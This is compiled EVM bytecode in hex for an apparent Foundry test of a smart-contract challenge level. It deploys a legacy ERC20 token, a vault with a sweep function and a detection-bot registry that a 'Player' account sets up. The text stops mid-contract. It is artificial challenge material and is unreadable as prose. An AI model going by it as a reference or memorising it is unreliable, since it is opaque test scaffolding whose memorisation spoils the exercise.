16001600160a01b0390911681526020015b60405180910390f35b620001da620009c9565b604051620001c7919062001bf6565b620001b3620001fa36600462001ce2565b62000a2b565b6200020a62000bf6565b604051620001c7919062001db5565b620001da62000d3e565b620001da62000d9e565b6200023762000dfe565b604051620001c7919062001e78565b620001da6200025736600462001f45565b62000ef8565b6200019a62001088565b620002716200124d565b604051620001c7919062001f5d565b620001b36200029136600462001fc3565b62001322565b6200023762001441565b620002b8620002b236600462001fe1565b6200153b565b6040519015158152602001620001c7565b62000271620016cb565b6200019a620017a0565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b862001839565b620001da6200190d565b6200019a6200032f36600462001f45565b6200196d565b601e54620002b89060ff1681565b5f62000350600262000ef8565b9050805f815181106200036757620003676200201d565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b50505050806001815181106200044957620004496200201d565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b0316905062001322565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001b55565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076492506001600160a01b03169050825f620007ff565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007e4575f80fd5b505af1158015620007f7573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200085b575f80fd5b505af11580156200086e573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008ce575f80fd5b505af1158015620008e1573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000946573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200096f9190810190620020be565b905080600182516200098291906200224e565b815181106200099557620009956200201d565b60200260200101515f0151600281518110620009b557620009b56200201d565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a02575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a8b573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ab4919081019062002264565b90505f81848560405160200162000acd929190620022b6565b60408051601f198184030181529082905262000aed929160200162002364565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5190859060040162002396565b5f60405180830381865afa15801562000b6c573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b95919081019062002264565b90505f62000be26040518060400160405280601081526020017f2e62797465636f64652e6f626a6563740000000000000000000000000000000081525083620019e190919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d1d578382905f5260205f2001805462000c8b90620023aa565b80601f016020809104026020016040519081016040528092919081815260200182805462000cb990620023aa565b801562000d085780601f1062000cde5761010080835404028352916020019162000d08565b820191905f5260205f20905b81548152906001019060200180831162000cea57829003601f168201915b50505050508152602001906001019062000c6b565b50505050815250508152602001906001019062000c19565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000edf57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e8b5790505b5050505050815250508152602001906001019062000e21565b60605f8267ffffffffffffffff81111562000f175762000f1762001c44565b60405190808252806020026020018201604052801562000f41578160200160208202803683370190505b5090505f5b8381101562001081575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f8e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fb49190620023e4565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001032575f80fd5b505af115801562001045573d5f803e3d5ffd5b50505050808383815181106200105f576200105f6200201d565b6001600160a01b03909216602092830291909101909101525060010162000f46565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010df575f80fd5b505af1158015620010f2573d5f803e3d5ffd5b505050505f60215f9054906101000a90046001600160a01b03166001600160a01b031663d8670e1f6040518163ffffffff1660e01b8152600401602060405180830381865afa15801562001148573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200116e9190620023e4565b90505f81604051620011809062001b63565b6001600160a01b039091168152602001604051809103905ff080158015620011aa573d5f803e3d5ffd5b506040517f9e927c680000000000000000000000000000000000000000000000000000000081526001600160a01b03808316600483015291925090831690639e927c68906024015f604051808303815f87803b15801562001209575f80fd5b505af11580156200121c573d5f803e3d5ffd5b50506020546021546200124993506200124392506001600160a01b0391821691166200153b565b62001a83565b5050565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f200180546200129090620023aa565b80601f0160208091040260200160405190810160405280929190818152602001828054620012be90620023aa565b80156200130d5780601f10620012e3576101008083540402835291602001916200130d565b820191905f5260205f20905b815481529060010190602001808311620012ef57829003601f168201915b50505050508152602001906001019062001270565b5f80604051620013329062001b71565b604051809103905ff0801580156200134c573d5f803e3d5ffd5b5090505f6040516200135e9062001b7f565b604051809103905ff08015801562001378573d5f803e3d5ffd5b508483604051620013899062001b8d565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff080158015620013c3573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562001422575f80fd5b505af115801562001435573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d35575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200152257602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014ce5790505b5050505050815250508152602001906001019062001464565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001597575f80fd5b505af1158015620015aa573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b15801562001608575f80fd5b505af11580156200161b573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200167f573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620016a89190810190620020be565b9050600181511115620016c0576001915050620016c5565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d35578382905f5260205f200180546200170e90620023aa565b80601f01602080910402602001604051908101604052809291908181526020018280546200173c90620023aa565b80156200178b5780601f1062001761576101008083540402835291602001916200178b565b820191905f5260205f20905b8154815290600101906020018083116200176d57829003601f168201915b505050505081526020019060010190620016ee565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620017f7575f80fd5b505af11580156200180a573d5f803e3d5ffd5b50506020546021546200183793506200183192506001600160a01b0391821691166200153b565b62001b02565b565b6008545f9060ff161562001851575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015620018e0573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001906919062002402565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2157602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a02575050505050905090565b5f6200197a82436200241a565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007e4575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001a38908690869060040162002430565b5f60405180830381865afa15801562001a53573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a7c919081019062002461565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001ae8575f80fd5b505afa15801562001afb573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001ad1565b613881806200249883390190565b6102b48062005d1983390190565b610ae58062005fcd83390190565b611e7a8062006ab283390190565b610daa806200892c83390190565b6001600160a01b038116811462001bb0575f80fd5b50565b5f805f6060848603121562001bc6575f80fd5b833562001bd38162001b9b565b9250602084013562001be58162001b9b565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001c385783516001600160a01b03168352928401929184019160010162001c11565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c7e5762001c7e62001c44565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001cb05762001cb062001c44565b604052919050565b5f67ffffffffffffffff82111562001cd45762001cd462001c44565b50601f01601f191660200190565b5f6020828403121562001cf3575f80fd5b813567ffffffffffffffff81111562001d0a575f80fd5b8201601f8101841362001d1b575f80fd5b803562001d3262001d2c8262001cb8565b62001c84565b81815285602083850101111562001d47575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d8057818101518382015260200162001d66565b50505f910152565b5f815180845262001da181602086016020860162001d64565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e6957603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001e5257605f1988850301835262001e3f84865162001d88565b948d01949350918c019160010162001e20565b505050968901969350509087019060010162001dda565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001f3757888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001f215783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001edd565b5096890196945050509086019060010162001e9f565b509098975050505050505050565b5f6020828403121562001f56575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001fb657603f1988860301845262001fa385835162001d88565b9450928501929085019060010162001f84565b5092979650505050505050565b5f6020828403121562001fd4575f80fd5b813562001a7c8162001b9b565b5f806040838503121562001ff3575f80fd5b8235620020008162001b9b565b91506020830135620020128162001b9b565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff8211156200204d576200204d62001c44565b5060051b60200190565b5f6200206762001d2c8462001cb8565b90508281528383830111156200207b575f80fd5b62001a7c83602083018462001d64565b5f82601f8301126200209b575f80fd5b62001a7c8383516020850162002057565b8051620020b98162001b9b565b919050565b5f6020808385031215620020d0575f80fd5b825167ffffffffffffffff80821115620020e8575f80fd5b818501915085601f830112620020fc575f80fd5b81516200210d62001d2c8262002031565b81815260059190911b830184019084810190888311156200212c575f80fd5b8585015b838110156200222d5780518581111562002148575f80fd5b86016060818c03601f190112156200215e575f80fd5b6200216862001c58565b888201518781111562002179575f80fd5b8201603f81018d136200218a575f80fd5b898101516200219d62001d2c8262002031565b81815260059190911b8201604001908b8101908f831115620021bd575f80fd5b6040840193505b82841015620021df5783518252928c0192908c0190620021c4565b8452505050604082015187811115620021f6575f80fd5b620022068d8b838601016200208b565b8a830152506200221960608301620020ac565b604082015284525091860191860162002130565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016c557620016c56200223a565b5f6020828403121562002275575f80fd5b815167ffffffffffffffff8111156200228c575f80fd5b8201601f810184136200229d575f80fd5b620022ae8482516020840162002057565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f8351620022ef81600585016020880162001d64565b7f2e736f6c2f00000000000000000000000000000000000000000000000000000060059184019182015283516200232e81600a84016020880162001d64565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200237781846020880162001d64565b8351908301906200238d81836020880162001d64565b01949350505050565b602081525f62001a7c602083018462001d88565b600181811c90821680620023bf57607f821691505b602082108103620023de57634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215620023f5575f80fd5b815162001a7c8162001b9b565b5f6020828403121562002413575f80fd5b5051919050565b80820180821115620016c557620016c56200223a565b604081525f62002444604083018562001d88565b828103602084015262002458818562001d88565b95945050505050565b5f6020828403121562002472575f80fd5b815167ffffffffffffffff81111562002489575f80fd5b620022ae848285016200208b56fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6138078061007a5f395ff3fe6080604052600436106200006b575f3560e01c8063d38def5b1162000046578063d38def5b14620000da578063f2fde38b146200010f578063fae99eae1462000133575f80fd5b8063715018a6146200006f5780637726f77614620000885780638da5cb5b14620000bc575b5f80fd5b3480156200007b575f80fd5b506200008662000167565b005b6200009f6200009936600462000a23565b6200017e565b6040516001600160a01b0390911681526020015b60405180910390f35b348015620000c8575f80fd5b505f546001600160a01b03166200009f565b348015620000e6575f80fd5b50620000fe620000f836600462000a48565b620003da565b6040519015158152602001620000b3565b3480156200011b575f80fd5b50620000866200012d36600462000a23565b62000663565b3480156200013f575f80fd5b50620001576200015136600462000a48565b620006f9565b604051620000b392919062000aa8565b6200017162000914565b6200017c5f6200096f565b565b5f806040516200018e90620009d6565b604051809103905ff080158015620001a8573d5f803e3d5ffd5b5090505f604051620001ba90620009e4565b604051809103905ff080158015620001d4573d5f803e3d5ffd5b5090505f84604051620001e790620009f2565b6001600160a01b039091168152602001604051809103905ff08015801562000211573d5f803e3d5ffd5b5090505f83828488604051620002279062000a00565b6001600160a01b039485168152928416602084015290831660408301529091166060820152608001604051809103905ff08015801562000269573d5f803e3d5ffd5b506040517fbdb2321f0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063bdb2321f906024015f604051808303815f87803b158015620002c8575f80fd5b505af1158015620002db573d5f803e3d5ffd5b50506040517f1d2d84000000000000000000000000000000000000000000000000000000000081526001600160a01b03848116600483015287169250631d2d840091506024015f604051808303815f87803b15801562000339575f80fd5b505af11580156200034c573d5f803e3d5ffd5b50506040517f40c10f190000000000000000000000000000000000000000000000000000000081526001600160a01b03858116600483015268056bc75e2d631000006024830152871692506340c10f1991506044015f604051808303815f87803b158015620003b9575f80fd5b505af1158015620003cc573d5f803e3d5ffd5b509298975050505050505050565b5f808390505f816001600160a01b031663d8670e1f6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200041d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000443919062000ae5565b6040517f9e1083ca0000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301529192505f91831690639e1083ca90602401602060405180830381865afa158015620004a6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620004cc919062000ae5565b90506001600160a01b038116620004e9575f93505050506200065d565b5f836001600160a01b031663d444d8a06040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000527573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200054d919062000ae5565b6040517ffae99eae0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301528616602482015290915081905f908190309063fae99eae906044015f604051808303815f875af1158015620005ba573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620005e3919081019062000b45565b9150915081156200063b5760405162461bcd60e51b815260206004820152600e60248201527f537765657020737563636564656400000000000000000000000000000000000060448201526064015b60405180910390fd5b5f8180602001905181019062000652919062000c0e565b985050505050505050505b92915050565b6200066d62000914565b6001600160a01b038116620006eb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015260840162000632565b620006f6816200096f565b50565b5f6060836001600160a01b0316631be19560846001600160a01b03166326fe99516040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000748573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200076e919062000ae5565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b1681526001600160a01b0390911660048201526024015f604051808303815f87803b158015620007c5575f80fd5b505af1925050508015620007d7575060015b620008f9575f80846001600160a01b03166370a08231866001600160a01b031663d444d8a06040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200082a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000850919062000ae5565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b1681526001600160a01b039091166004820152602401602060405180830381865afa158015620008ab573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620008d1919062000c2a565b60408051929091116020830152015b604051602081830303815290604052915091506200090d565b604080515f602082015260019101620008e0565b9250929050565b5f546001600160a01b031633146200017c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640162000632565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610fe28062000c4383390190565b6103d48062001c2583390190565b6103f38062001ff983390190565b6113e680620023ec83390190565b6001600160a01b0381168114620006f6575f80fd5b5f6020828403121562000a34575f80fd5b813562000a418162000a0e565b9392505050565b5f806040838503121562000a5a575f80fd5b823562000a678162000a0e565b9150602083013562000a798162000a0e565b809150509250929050565b5f5b8381101562000aa057818101518382015260200162000a86565b50505f910152565b8215158152604060208201525f825180604084015262000ad081606085016020870162000a84565b601f01601f1916919091016060019392505050565b5f6020828403121562000af6575f80fd5b815162000a418162000a0e565b8051801515811462000b13575f80fd5b919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f806040838503121562000b57575f80fd5b62000b628362000b03565b9150602083015167ffffffffffffffff8082111562000b7f575f80fd5b818501915085601f83011262000b93575f80fd5b81518181111562000ba85762000ba862000b18565b604051601f8201601f19908116603f0116810190838211818310171562000bd35762000bd362000b18565b8160405282815288602084870101111562000bec575f80fd5b62000bff83602083016020880162000a84565b80955050505050509250929050565b5f6020828403121562000c1f575f80fd5b62000a418262000b03565b5f6020828403121562000c3b575f80fd5b505191905056fe608060405234801562000010575f80fd5b506040518060400160405280600b81526020016a2632b3b0b1bcaa37b5b2b760a91b815250604051806040016040528060038152602001621311d560ea1b815250816003908162000062919062000187565b50600462000071828262000187565b5050506200008e620000886200009460201b60201c565b62000098565b62000253565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200011257607f821691505b6020821081036200013157634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200018257805f5260205f20601f840160051c810160208510156200015e5750805b601f840160051c820191505b818110156200017f575f81556001016200016a565b50505b505050565b81516001600160401b03811115620001a357620001a3620000e9565b620001bb81620001b48454620000fd565b8462000137565b602080601f831160018114620001f1575f8415620001d95750858301515b5f19600386901b1c1916600185901b1785556200024b565b5f85815260208120601f198616915b82811015620002215788860151825594840194600190910190840162000200565b50858210156200023f57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b610d8180620002615f395ff3fe608060405234801561000f575f80fd5b5060043610610115575f3560e01c806370a08231116100ad578063a457c2d71161007d578063c89e436111610063578063c89e43611461024c578063dd62ed3e1461025f578063f2fde38b14610297575f80fd5b8063a457c2d714610226578063a9059cbb14610239575f80fd5b806370a08231146101c9578063715018a6146101f15780638da5cb5b146101f957806395d89b411461021e575f80fd5b806323b872dd116100e857806323b872dd14610181578063313ce5671461019457806339509351146101a357806340c10f19146101b6575f80fd5b806306fdde0314610119578063095ea7b31461013757806318160ddd1461015a5780631d2d84001461016c575b5f80fd5b6101216102aa565b60405161012e9190610bb4565b60405180910390f35b61014a610145366004610c14565b61033a565b604051901515815260200161012e565b6002545b60405190815260200161012e565b61017f61017a366004610c3e565b610353565b005b61014a61018f366004610c60565b61038a565b6040516012815260200161012e565b61014a6101b1366004610c14565b6103ad565b61017f6101c4366004610c14565b6103eb565b61015e6101d7366004610c3e565b6001600160a01b03165f9081526020819052604090205490565b61017f610401565b6005546001600160a01b03165b6040516001600160a01b03909116815260200161012e565b610121610414565b61014a610234366004610c14565b610423565b61014a610247366004610c14565b6104d1565b600654610206906001600160a01b031681565b61015e61026d366004610c9e565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b61017f6102a5366004610c3e565b610587565b6060600380546102b990610cd5565b80601f01602080910402602001604051908101604052809291908181526020018280546102e590610cd5565b80156103305780601f1061030757610100808354040283529160200191610330565b820191905f5260205f20905b81548152906001019060200180831161031357829003601f168201915b5050505050905090565b5f33610347818585610617565b60019150505b92915050565b61035b61076e565b6006805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b5f336103978582856107c8565b6103a2858585610858565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490919061034790829086906103e6908790610d0d565b610617565b6103f361076e565b6103fd8282610a6d565b5050565b61040961076e565b6104125f610b49565b565b6060600480546102b990610cd5565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156104c45760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6103a28286868403610617565b6006545f906001600160a01b03166104f4576104ed8383610ba7565b905061034d565b6006546040517f9cd1a1210000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301526024820185905233604483015290911690639cd1a121906064016020604051808303815f875af1158015610563573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104ed9190610d2c565b61058f61076e565b6001600160a01b03811661060b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016104bb565b61061481610b49565b50565b6001600160a01b0383166106925760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b03821661070e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6005546001600160a01b031633146104125760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104bb565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461085257818110156108455760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016104bb565b6108528484848403610617565b50505050565b6001600160a01b0383166108d45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b0382166109505760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b0383165f90815260208190526040902054818110156109de5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016104bb565b6001600160a01b038085165f90815260208190526040808220858503905591851681529081208054849290610a14908490610d0d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610a6091815260200190565b60405180910390a3610852565b6001600160a01b038216610ac35760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016104bb565b8060025f828254610ad49190610d0d565b90915550506001600160a01b0382165f9081526020819052604081208054839290610b00908490610d0d565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600580546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b5f33610347818585610858565b5f602080835283518060208501525f5b81811015610be057858101830151858201604001528201610bc4565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610614575f80fd5b5f8060408385031215610c25575f80fd5b8235610c3081610c00565b946020939093013593505050565b5f60208284031215610c4e575f80fd5b8135610c5981610c00565b9392505050565b5f805f60608486031215610c72575f80fd5b8335610c7d81610c00565b92506020840135610c8d81610c00565b929592945050506040919091013590565b5f8060408385031215610caf575f80fd5b8235610cba81610c00565b91506020830135610cca81610c00565b809150509250929050565b600181811c90821680610ce957607f821691505b602082108103610d0757634e487b7160e01b5f52602260045260245ffd5b50919050565b8082018082111561034d57634e487b7160e01b5f52601160045260245ffd5b5f60208284031215610d3c575f80fd5b81518015158114610c59575f80fdfea264697066735822122091f156bcbbd2a567f95d290a69dc896582a8d0d550079d51e1028da3fc20535b64736f6c63430008180033608060405234801561000f575f80fd5b506103b78061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80639e927c681161004d5780639e927c68146100c2578063dc702fa014610116578063fa1fd28c14610143575f80fd5b8063087a43c1146100685780639e1083ca1461007d575b5f80fd5b61007b610076366004610269565b610156565b005b6100a561008b366004610269565b5f602081905290815260409020546001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61007b6100d0366004610269565b335f90815260208190526040902080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b610135610124366004610269565b60016020525f908152604090205481565b6040519081526020016100b9565b61007b610151366004610289565b6101a2565b6001600160a01b038181165f908152602081905260409020541633146101795750565b335f908152600160208190526040822080549192909161019a908490610305565b909155505050565b6001600160a01b038381165f90815260208190526040902054166101c557505050565b6001600160a01b038084165f90815260208190526040908190205490517f220ab6aa00000000000000000000000000000000000000000000000000000000815291169063